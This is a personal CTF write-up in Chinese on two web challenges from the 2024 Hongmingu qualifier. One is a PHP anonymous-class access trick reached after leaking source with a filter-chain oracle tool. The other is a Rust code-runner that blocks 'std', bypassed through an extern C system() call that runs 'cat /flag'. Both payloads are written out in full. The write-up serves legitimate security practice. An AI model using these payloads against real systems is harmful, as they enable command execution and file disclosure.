【Web】2024红明谷CTF初赛个人wp(2/4)

目录

ezphp

playground


时间原因只打了2个小时,出了2道,简单记录一下

ezphp

参考文章

PHP filter chains: file read from error-based oracle

https://github.com/synacktiv/php_filter_chains_oracle_exploit

用上面的脚本爆出部分源码,直接/flag.php?ezphpPhp=1访问

创建了一个匿名类

参考文章:

php匿名类 - Hi! 阿金

最终payload:

复制代码
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

🤬本地通了,远程一直not found,重开靶机后一样的payload直接打出来了

playground

进题是一段rust代码

重点关注post的/rust_code这个路由

复制代码
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}
  1. 首先,函数检查输入的代码是否包含了"std",如果包含,则返回一个错误消息,表示不允许使用标准库(std)。

  2. 然后,函数生成一个随机的长度为5的文件名,该文件名用于存储接收到的Rust代码。

  3. 接着,函数尝试创建一个名为playground/{}.rs的文件,其中{}会被随机生成的文件名所替代,并将接收到的代码写入文件中。

  4. 接下来,函数使用Command::new("rustc")创建一个Rust编译器的命令,该命令编译刚刚创建的Rust源代码文件,并传入了一些编译选项,例如关闭调试信息和设置优化级别。

  5. 如果编译成功,则继续执行下一步,否则删除刚创建的Rust源代码文件,并返回编译器输出的错误消息。

  6. 如果编译成功,函数继续使用Command::new(format!("playground/{}", &file_name))创建一个命令,该命令运行刚刚编译生成的可执行文件。

  7. 如果运行成功,则返回程序的标准输出结果,否则删除生成的可执行文件,并返回程序的标准错误输出结果。

  8. 最后,无论是编译失败还是运行失败,都会删除生成的Rust源代码文件,并返回一个空字符串。

payload:

复制代码
extern "C"{
    fn system(cmd: *const u8) -> i32;
}
fn main(){
    unsafe{
        system("cat /flag".as_ptr());
    }
}

直接放请求体里即可

相关推荐
im_AMBER9 小时前
Web 开发 30
前端·笔记·后端·学习·web
poemthesky17 小时前
newstar2025 web week1&week2题解(少一道)
web
unable code19 小时前
攻防世界-Web-unseping
网络安全·web·ctf
im_AMBER1 天前
杂记 14
前端·笔记·学习·web
Le_ee1 天前
Apache2
服务器·网络安全·apache·web
im_AMBER1 天前
Web 开发 27
前端·javascript·笔记·后端·学习·web
unable code1 天前
攻防世界-Web-shrine
网络安全·web·ctf
im_AMBER2 天前
Web 开发 29
前端·学习·web
卓码软件测评2 天前
【第三方网站代码登记测试_HTTP头语法代码详解】
网络·网络协议·http·架构·web
被巨款砸中3 天前
Jessibuca 播放器
前端·javascript·vue.js·web